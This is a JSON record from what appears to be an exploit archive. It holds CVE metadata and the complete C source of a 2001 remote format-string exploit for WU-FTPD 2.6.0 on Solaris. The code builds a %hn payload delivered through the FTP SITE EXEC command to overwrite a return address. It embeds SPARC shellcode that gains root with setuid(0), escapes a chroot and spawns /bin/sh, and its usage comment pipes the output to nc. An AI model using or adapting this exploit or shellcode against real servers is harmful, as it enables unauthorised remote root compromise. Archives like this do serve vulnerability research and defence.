{"exploit":{"id":"EDB-239","name":"WU-FTPD 2.6.0 - Remote Format Strings","description":"WU-FTPD 2.6.0 - Remote Format Strings","cves":["CVE-2000-0573"],"author":"kalou","published":"2001-01-03","platform":"solaris","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/239","path":"exploits/solaris/remote/239.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-239.c","vulnerabilities":[{"id":"CVE-2000-0573","state":"PUBLISHED","title":null,"titleSource":null,"description":"The lreply function in wu-ftpd 2.6.0 and earlier does not properly cleanse an untrusted format string, which allows remote attackers to execute arbitrary commands via the SITE EXEC command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0573","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0573"},"updatedAt":"2024-08-08T05:21:31.219Z","retrievedAt":"2026-11-26T12:06:39.840Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-239.png?v=2","url":"https://exploitbin.com/exploits/EDB-239","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-239/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-239/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n**\n** 12:40 11/10/00: Tool for either  attack or defense\n** within an information  warfare setting. Rather, it\n** is a small program demonstrating proof of concept.\n** Default values for solaris 2.8 and inetd.\n**\n** If you are not the intended recipient, or a person\n** responsible  for  delivering  it  to  the intended\n** recipient, you are not authorised to and  must not\n** disclose, copy, distribute, or retain this message\n** or any  part of it.  Such  unauthorised use may be\n** unlawful.If you have received this transmission in\n** error,please email us immediately at hert@hert.org\n** so that we can arrange for its return.\n**\n**                                kalou <pb@hert.org>\n**\n** Usage:\n**\n**    0xfdc (4060) bytes after the ret position, you have:\n**\n**     -HOSTNAME: anonymous/EGGSHELL\n**\n** This of course begins on a 4 bytes boundary.\n**\n** Check your hostname len. Align this with pad to have EGGSHELL on a\n** 4 bytes boundary (-p). Localhost needs 2 bytes, for example.\n**\n** Use '%s' format bug exploitation to look for this string in memory.\n** (you have to eat 15 words out of stack).\n**\n** Remove 0xfdc + len (-HOSTNAME: anonymous/pad) to your found pointer.\n** This substracted value is kept as the distance (-d).\n** Result is your return address position (-w). Check it if you want.\n**\n** This code substracts 8 to this address (sparc ret behaviour).\n**\n** You may use the 102th %p pointer on stack to find the string. eg: ffbef640.\n**\n** adding 0x870 to this value, I found my string.\n**\n** offset should be useless. site_padding depends on the '/bin/ftp-exec/'\n** config stuff.\n**\n** (./wu -p 2 -d 0xff4 ; cat ) | nc localhost 21\n**\n*/\n/* Stolener  Foundation */\n\n\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#ifdef  __linux\n#include <getopt.h>\n#endif\n\nvoid *build_format_string(int where,\n\t\t\t  int what,\n\t\t\t  int gout,\n\t\t\t  int eat,\n\t\t\t  int pad)\n{\n  int expected_len;\n  int what1, where1;\n  int what2, where2;\n  char w1[512];\n  char w2[512];\n\n  int  i;\n  char *buf, *p;\n\n  /* generate two %hn len : */\n\n  what1 = (what >> 16) & 0xffff;\n  what2 = what & 0xffff;\n\n  fprintf(stderr, \"what1: %0x\\n\", what1);\n  fprintf(stderr, \"what2: %0x\\n\", what2);\n\n  if ( what1 > what2 ) {\n    where1 = where + 2;\n    where2 = where;\n    what1 -= what2;\n  } else {\n    where1 = where;\n    where2 = where + 2;\n    what2 -= what1;\n  }\n\n  fprintf(stderr, \"removing %d.\\n\", pad + 2 * sizeof(where) + gout +\n\t  (eat - 1) * 12);\n\n  if (where1 < where2) {\n    what1 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;\n  } else {\n    what2 -= pad + 2 * sizeof(where) + (eat - 1) * 12 + gout;\n  }\n\n  fprintf(stderr, \"%08x: writing first %s\\n\", what,\n\t  (where1 > where2) ? \"what2\" : \"what1\");\n  fprintf(stderr, \"what1 is %08x, what2 is %08x\\n\",\n\t  what1, what2);\n\n  sprintf(w1, \"%%0%dx%%hn\", what1);\n  sprintf(w2, \"%%0%dx%%hn\", what2);\n\n  fprintf(stderr, \"1: %s\\n2: %s\\n\", w1, w2);\n\n  /* calculate expected len : */\n\n  expected_len = pad + 12 + (eat - 1) * 8\n\t  + strlen(w1) + strlen(w2) + 1;\n\n  fprintf(stderr, \"len is %d\\n\", expected_len);\n\n  buf = (char *) malloc(expected_len);\n\n  if ( buf == NULL)\n    return buf;\n\n  p = buf;\n\n  /* pad */\n  for (i = 0; i < pad; i++) {\n    *p++ = '.';\n  }\n\n  /* retaddr, part 1 - first %hn*/\n  *p++ = (where1 >> 24) & 0xff;\n  *p++ = (where1 >> 16) & 0xff;\n  *p++ = (where1 >> 8) & 0xff;\n  *p++ = (where1) & 0xff;\n\n  *p++ = 0x0f;\n  *p++ = 0x0e;\n  *p++ = 0x0e;\n  *p++ = 0x0f; /* so that the first %0(much)x eats something\n\n  /* retaddr, part 2 - second %hn */\n  *p++ = ((where2) >> 24) & 0xff;\n  *p++ = ((where2) >> 16) & 0xff;\n  *p++ = ((where2) >> 8) & 0xff;\n  *p++ = (where2) & 0xff;\n\n  /* eaters.. */\n  for (i = 0; i < (eat - 1); i++) {\n    strcpy(p, \"%000012x\");\n    p += 8;\n  }\n\n  /* what1, what2 */\n  if (what1 > what2) {\n    strcpy(p, w1);\n    strcpy(p + strlen(w1), w2);\n  } else {\n    strcpy(p, w2);\n    strcpy(p + strlen(w2), w1);\n  }\n\n\n  return buf;\n}\n\nvoid *ftp_escape(void *buf)\n{\n  void *boh;\n  char *p = buf;\n  char *r;\n\n  boh = malloc(4096);\n  r = boh;\n\n  while (*p) {\n    *r++ = *p;\n    if ((*p) == '\\xff')\n      *r++ = *p;\n    p++;\n  }\n  *r = '\\0';\n  return boh;\n}\n\nvoid usage(char *me)\n{\n  fprintf(stderr, \"Usage : %s \\n\"\n\t          \"     [-w where (hexa)  ] /* ret position */\\n\"\n\t\t  \"   0 [-o offset        ] /* or just offset, or both */\\n\"\n\t          \"1010 [-d distance (hex)] /* distance to pass */\\n\"\n\t\t  \"   2 [-s site_pad      ] /* padding to site_exec */\\n\"\n\t\t  \"   3 [-p pass_pad      ] /* padding to eggshell */\\n\"\n\t\t  \"   4 [-g gout          ] /* output size (200-) */\\n\"\n\t\t  \"  15 [-e eat           ] /* pointers to eat */\\n\\n\\n\",\n\t\t  me);\n  exit(0);\n}\n\nmain(int argc, char **argv)\n{\n  char c;\n  int  where, offset, distance, gout, site_pad, pass_pad, eat;\n  char *buf;\n  char break_sparc[] =\n\t\"\\x90\\x1b\\xc0\\x0f\" // xor %o7, %o7, %o0\n\t\"\\x82\\x10\\x20\\x17\" // mov 23,  %g1\n\t\"\\x91\\xd0\\x20\\x08\" // ta  8                  ! setuid(0)\n\t\"\\xae\\x10\\x20\\x2e\" // mov 0x2e, %l7\n\t\"\\xaf\\x2d\\xe0\\x18\" // sll %l7, 24, %l7\n\t\"\\xee\\x23\\xbf\\xd0\" // st  %l7, [ %sp - 48 ]\n\t\"\\x90\\x23\\xa0\\x30\" // sub %sp, 48, %o0\n\t\"\\x82\\x10\\x20\\x05\" // mov 5, %g1\n\t\"\\x92\\x1b\\xc0\\x0f\" // xor %o7, %o7, %o1\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8                   ! fd = open(\".\", 0);\n\t\"\\xa6\\x82\\x20\\x01\" // addcc %o0, 1, %l3      !\n\t\"\\xae\\x10\\x20\\x6b\" // mov 0x6b, %l7\n\t\"\\xaf\\x2d\\xe0\\x18\" // sll %l7, 24, %l7\n\t\"\\xee\\x23\\xbf\\xd0\" // st  %l7, [ %sp - 48 ]\n\t\"\\x90\\x23\\xa0\\x30\" // sub %sp, 48, %o0\n\t\"\\x92\\x10\\x21\\xff\" // mov 0x1ff, %o1\n\t\"\\x82\\x10\\x20\\x50\" // mov 0x50, %g1\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8                   ! mkdir(\"k\", 0755)\n\t\"\\x90\\x23\\xa0\\x30\" // sub %sp, 48, %o0\n\t\"\\x82\\x10\\x20\\x3d\" // mov 0x3d, %g1\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8                   ! chroot(\"k\")\n\t\"\\x90\\x24\\xe0\\x01\" // sub %l3, 1, %o0\n\t\"\\x82\\x10\\x20\\x78\" // mov 0x78, %g1\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8                   ! fchdir(fd)\n\t\"\\x2f\\x0b\\x8b\\x8b\" // sethi %hi(0x2e2e2c00), %l7\n\t\"\\xae\\x15\\xe3\\x2e\" // or %l7, 0x32e, %l7\n\t\"\\xee\\x23\\xbf\\xd0\" // st %l7, [ %sp - 48 ]   ! ../.\n\t\"\\x2f\\x0b\\xcb\\x8b\" // sethi %hi(0x2f2e2c00), %l7\n\t\"\\xae\\x15\\xe2\\x2f\" // or %l7, 0x22f, %l7\n\t\"\\xee\\x23\\xbf\\xd4\" // st %l7, [ %sp - 44 ]   ! /../\n\t\"\\xee\\x23\\xbf\\xd8\" // st %l7, [ %sp - 40 ]\n\t\"\\xee\\x23\\xbf\\xdc\" // st %l7, [ %sp - 36 ]\n\t\"\\xee\\x23\\xbf\\xe0\" // st %l7, [ %sp - 32 ]\n\t\"\\xee\\x23\\xbf\\xe4\" // st %l7, [ %sp - 28 ]\n\t\"\\xee\\x23\\xbf\\xe8\" // st %l7, [ %sp - 24 ]\n\t\"\\xee\\x23\\xbf\\xec\" // st %l7, [ %sp - 20 ]   ! .././..//..//../(ad lib)\n\t\"\\xc0\\x23\\xbf\\xf0\" // clr [ %sp - 16 ]\n\t\"\\x82\\x10\\x20\\x0c\" // mov 0xc, %g1\n\t\"\\x90\\x23\\xa0\\x30\" // sub %sp, 48, %o0\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8                   ! chdir(\".././../...\")\n\t\"\\xae\\x10\\x20\\x2e\" // mov 0x2e, %l7\n\t\"\\xaf\\x2d\\xe0\\x18\" // sll %l7, 24, %l7\n\t\"\\xee\\x23\\xbf\\xd0\" // st %l7, [ %sp - 48 ]   ! stupido. anyway.\n\t\"\\x90\\x23\\xa0\\x30\" // sub %sp, 48, %o0\n\t\"\\x82\\x10\\x20\\x3d\" // mov 0x3d, %g1\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8\n\t\"\\x2d\\x0b\\xd8\\x9a\" // sethi %hi(0x2f62696e), %l6  ! no more mine.\n\t\"\\xac\\x15\\xa1\\x6e\" // or %l6, %lo(0x2f62696e), %l6\n\t\"\\x2f\\x0b\\xdc\\xda\" // sethi %hi(0x2f736800), %l7\n\t\"\\x90\\x0b\\x80\\x0e\" // and %sp, %sp, %o0\n\t\"\\x92\\x03\\xa0\\x08\" // add %sp, 8, %o1\n\t\"\\x94\\x1b\\xc0\\x0f\" // xor %o7, %o7, %o2\n\t\"\\x9c\\x03\\xa0\\x10\" // add %sp, 16, %sp\n\t\"\\xec\\x3b\\xbf\\xf0\" // std %l6, [%sp-16]\n\t\"\\xd0\\x23\\xbf\\xf8\" // st %o0, [%sp-8]\n\t\"\\xc0\\x23\\xbf\\xfc\" // st %g0, [%sp-4]\n\t\"\\x82\\x10\\x20\\x3b\" // mov 59, %g1\n\t\"\\x91\\xd0\\x20\\x08\" // ta 8\n\t\"\\x91\\xd0\\x20\\x08\"; // ta 8\n\n\n\n  offset = 0;\n  where = 0xffbeeed4;\n  distance = 0x1004;\n  gout = 4;\n  eat = 15;\n  site_pad = 2;\n  pass_pad = 3;\n\n  while ( ( c = getopt(argc, argv, \"w:o:d:e:g:s:p:\") ) != EOF ) {\n    switch(c) {\n\t    case 'w':\n\t      where = strtoul(optarg, NULL, 16);\n\t      break;\n\t    case 'o':\n\t      offset = atoi(optarg);\n\t      break;\n\t    case 'd':\n\t      distance = strtoul(optarg, NULL, 16);\n\t      break;\n\t    case 'e':\n\t      eat = atoi(optarg);\n\t      break;\n\t    case 'g':\n\t      gout = atoi(optarg);\n\t      break;\n\t    case 's':\n\t      site_pad = atoi(optarg) % 4;\n\t      break;\n\t    case 'p':\n\t      pass_pad = atoi(optarg) % 4;\n\t      break;\n\t    default:\n\t      usage(argv[0]);\n    }\n  }\n\n  where += offset;\n\n  fprintf(stderr, \"ret  [%x]:%x\\n\"\n\t  \t  \"ppad %d\\n\"\n\t\t  \"spad %d\\n\"\n\t\t  \"gout %d\\n\"\n\t\t  \"eat  %d\\n\",\n\t\t  where, where + distance,\n\t\t  pass_pad, site_pad, gout, eat);\n\n  printf(\"user ftp\\n\");\n\n  buf = ftp_escape(break_sparc);\n  printf(\"pass %.*s%s\\n\", pass_pad, \"xxxx\", buf);\n\n  buf = build_format_string(where, where + distance - 8, gout, eat, site_pad);\n  buf = ftp_escape(buf);\n\n  printf (\"site exec %s\\n\", buf);\n}\n\n\n// milw0rm.com [2001-01-03]","sha256":"70df659bb2ed04f6ff6fec2dce2d8276e32d3366f5bf9bc21557830400bee4b0","bytes":8585,"fetchedAt":"2026-11-26T12:09:19.485Z","encoding":"utf-8 (display only; download retains original bytes)"}